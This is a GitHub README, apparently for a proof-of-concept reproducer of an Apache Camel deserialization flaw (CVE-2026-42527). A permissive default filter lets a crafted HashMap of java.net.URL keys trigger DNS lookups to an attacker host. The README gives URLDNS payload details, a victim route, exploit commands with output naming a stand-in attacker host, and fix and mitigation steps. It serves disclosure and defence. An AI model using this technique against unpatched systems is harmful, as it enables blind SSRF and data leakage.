oscerd/CVE-2026-42527
GitHub: oscerd/CVE-2026-42527
该项目复现了 Apache Camel 因默认 ObjectInputFilter 宽松允许 java.net.URL 而在反序列化时引发 DNS 带外信息泄露的 CVE-2026-42527 漏洞。
Stars: 0 | Forks: 0
# 宽松的默认 ObjectInputFilter — DNS 侧信道复现器 (CVE-2026-42527)
本项目演示了 Apache Camel 中的 **CVE-2026-42527** 漏洞。几个 Camel 组件为了实现深度防御的反序列化过滤,提供了一个默认的 `ObjectInputFilter` 模式 —— `java.**;javax.**;org.apache.camel.**;!*`,该模式使用了递归的 `java.**` 通配符,**允许 `java.net.URL` 通过**。
`java.net.URL.hashCode()` 会对 URL 的主机名执行 DNS 解析,因此,反序列化一个包含 `java.net.URL` 键的 `HashMap`(或任何对其元素进行哈希处理的集合)会导致 JVM 在反序列化过程中**向攻击者提供的主机发起 DNS 查询**。类级别的过滤器检查会通过(因为生成的对象是允许列表中的 `HashMap`),因此没有任何东西能阻止它——这是一个**带外信息泄露侧信道**(而非 RCE)。
安全公告:
## 漏洞概述
| 属性 | 值 |
|----------|-------|
| **组件** | `camel-jms`, `camel-sjms`, `camel-amqp`, `camel-mina`, `camel-netty`, `camel-netty-http`, `camel-vertx-http`, `camel-infinispan`,以及聚合仓库(`camel-leveldb`, `camel-cassandraql`, `camel-consul`, `camel-sql`) |
| **缺陷** | 默认过滤器 `java.**;javax.**;org.apache.camel.**;!*` 允许 `java.net.URL` / `java.net.InetAddress` |
| **CWE** | CWE-502(不安全的反序列化),导致通过 DNS 进行带外信息泄露 / 盲 SSRF |
| **影响** | 反序列化期间产生可被攻击者观察到的 DNS 查询(数据泄露侧信道) |
| **受影响版本** | 4.14.0–4.14.7, 4.18.0–4.18.2, 4.20.0 |
| **修复版本** | 4.14.8, 4.18.3, 4.21.0 |
| **JIRA** | CAMEL-23372 |
| **报告者** | Venkatraman Kumar (Securin) 和 Yu Bao (PayPal) |
## 技术细节
此 PoC 使用了 **camel-mina 4.18.2**,其中 `MinaConverter.toObjectInput` 直接在 `ObjectInputStream` 上安装了默认过滤器,因此该过滤器是核心控制点(一个清晰展示受影响与已修复版本对比的案例):
```
// MinaConverter.toObjectInput(IoBuffer) - affected 4.18.2
static final String DEFAULT_DESERIALIZATION_FILTER = "java.**;javax.**;org.apache.camel.**;!*";
...
ObjectInputStream ois = new ObjectInputStream(is);
ObjectInputFilter jvmFilter = ObjectInputFilter.Config.getSerialFilter();
ois.setObjectInputFilter(jvmFilter != null
? jvmFilter
: ObjectInputFilter.Config.createFilter(DEFAULT_DESERIALIZATION_FILTER));
```
`java.**` 通配符允许 `java.net.URL` 通过。在反序列化 `HashMap` 时,`HashMap.readObject()` 会重新插入条目并计算 `hash(key)` → `URL.hashCode()` → `InetAddress.getByName(host)` → **向攻击者的主机发起 DNS 查询**。4.18.3 / 4.21.0 的修复版本在前面添加了拒绝规则:
```
// fixed
static final String DEFAULT_DESERIALIZATION_FILTER = "!java.net.**;java.**;javax.**;org.apache.camel.**;!*";
```
现在 `java.net.URL` 在反序列化期间会被拒绝(`InvalidClassException: filter status: REJECTED`),在 `hashCode()` 运行之前即被拦截——不会产生 DNS 查询。
## 受害者路由
```
from("mina:tcp://0.0.0.0:5555?sync=false&allowDefaultCodec=false")
.process(exchange -> {
ObjectInput oi = exchange.getIn().getBody(ObjectInput.class); // MinaConverter.toObjectInput (default filter)
Object obj = oi.readObject(); // HashMap.readObject -> URL.hashCode() -> DNS
});
```
## 原理验证过程(无需外部 DNS 服务器)
`java.net.URL.hashCode()` 通过 JVM 的解析器解析主机名。为了确定性地且离线观察该查询,本应用注册了一个自定义的 **`java.net.spi.InetAddressResolverProvider`**(JDK 18+,JEP 418),它会记录任何包含攻击者标记的主机名,并使用回环地址进行应答。看到攻击者的主机名到达解析器,*就意味着*带外侧信道已被触发。
有效载荷(payload)是使用经典的 **ysoserial URLDNS** 技巧构建的:URL 的缓存 `hashCode` 字段经过了预置,使得在构建端将其插入 map 时**不会**解析主机名,随后将其重置为 `-1`,使得查询仅在受害者反序列化时发生。(此反射操作需要 `--add-opens java.base/java.net` —— 这是构造 payload 的细节,与漏洞本身无关)。
```
CVE-2026-42527/
├── pom.xml # camel-mina 4.18.2 (permissive default filter)
├── Dockerfile # runs the app (--add-opens java.base/java.net for payload build)
├── docker-compose.yml
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── MinaObjectRoute.java # victim: mina consumer -> ObjectInput.readObject()
│ ├── PayloadFactory.java # HashMap URLDNS payload (no builder-side DNS)
│ ├── ExfilResolverProvider.java # stub DNS server (InetAddressResolverProvider) that records lookups
│ ├── ExfilLog.java
│ └── ExploitController.java # /exploit/inject: sends payload over TCP, checks for the DNS lookup
└── resources/
├── application.properties
└── META-INF/services/java.net.spi.InetAddressResolverProvider
```
## 前置条件
- Java 17+ 和 Maven 3.8+(使用 JDK 21 进行构建——因为验证过程使用了 JDK 18+ 的 resolver SPI)
- Docker(用于运行复现器)
## 复现步骤
### 第一步:构建并启动容器
```
mvn clean package -DskipTests
docker compose up -d --build
```
### 第二步:触发反序列化(DNS 侧信道)
```
curl -s http://localhost:8080/exploit/inject
# -> 已发送 HashMap payload 到 mina:tcp://127.0.0.1:5555
# URL key host: dns-exfil-proof.cve-2026-42527.attacker.test
# # >>> DNS side-channel proof — resolver 看到了对 attacker host 的查找:true
# 观察到的查找:[dns-exfil-proof.cve-2026-42527.attacker.test]
```
`true` 表示对攻击者的 `HashMap` 进行反序列化时解析了攻击者的主机名——攻击者控制的 DNS 服务器将会观察到此查询。
### 第三步(可选):展示修复/缓解方案可以阻止它
在硬化版的 JVM 全局过滤器下运行(`toObjectInput` 会遵循该过滤器,并且它镜像了 4.18.3 的修复方案):
```
mvn clean package -DskipTests
java --add-opens java.base/java.net=ALL-UNNAMED \
-Djdk.serialFilter='!java.net.**;java.**;javax.**;org.apache.camel.**;!*' \
-jar target/cve-2026-42527-deserialization-filter-0.0.1-SNAPSHOT.jar
# 然后: curl -s http://localhost:8080/exploit/inject
# -> ... resolver 看到了对 attacker host 的查找:false
# (路由日志显示 InvalidClassException: filter status: REJECTED)
```
### 清理
```
docker compose down
```
## 攻击向量
任何在默认过滤器下反序列化攻击者可控字节的受影响 Camel 消费者——最典型的是设置了 `mapJmsMessage=true` 的 camel-jms/sjms/amqp 消费者,或者是 mina/netty/vertx-http/infinispan 以及聚合仓库组件——只要攻击者能够在其中传递一个 `HashMap`(或任何由 `java.net.URL` 组成的哈希集合)。
## 利用条件
1. 受影响的 Camel 组件在**默认**过滤器下反序列化攻击者可控的字节(没有显式的 `deserializationFilter` / `-Djdk.serialFilter` 覆盖,也没有提供商侧的允许列表)。
2. 攻击者可以在 payload 的哈希集合中放置一个 `java.net.URL`。**不需要任何 gadget 库** —— 只需要标准的 JDK 类。
## 推荐修复方案
升级到 **4.14.8 / 4.18.3 / 4.21.0**(CAMEL-23372),这些版本更改了默认过滤器以拒绝 `java.net.**`。
## 缓解措施
在升级之前:
1. 配置 **JMS 提供商的**反序列化允许/拒绝列表(ActiveMQ Artemis 的 `deserializationAllowList`/`deserializationDenyList`,ActiveMQ Classic 的 `org.apache.activemq.SERIALIZABLE_PACKAGES`)。
2. 通过 endpoint 的 `deserializationFilter` 选项或 JVM 全局的 `-Djdk.serialFilter` 覆盖代码中的默认设置,并加上显式的拒绝规则:
`!java.net.**;java.**;javax.**;org.apache.camel.**;!*`
(对于省略了 `javax.**` 的聚合仓库组件,使用 `!java.net.**;java.**;org.apache.camel.**;!*`)。
## 免责声明
此复现器仅用于**安全研究和授权测试**,针对的是**已公开披露且已修复**的漏洞。未经明确许可,请勿将其用于攻击系统。
标签:Apache Camel, JS文件枚举, 侧信道攻击, 信息泄露, 反序列化漏洞, 域名枚举, 漏洞复现, 版权保护, 请求拦截, 防御绕过